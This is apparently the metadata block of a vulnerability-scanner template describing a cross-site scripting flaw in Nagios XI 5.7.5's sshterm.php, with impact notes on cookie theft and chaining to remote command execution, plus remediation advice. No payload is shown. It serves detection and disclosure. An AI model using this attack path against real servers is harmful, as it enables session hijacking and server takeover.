info:
  name: Nagios XI 5.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
  impact: |
    Attackers can craft malicious URLs containing JavaScript that executes when clicked by admin users, potentially stealing session cookies that can be chained with other vulnerabilities for one-click remote command execution and complete Nagios XI server compromise.
  remediation: |
    Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
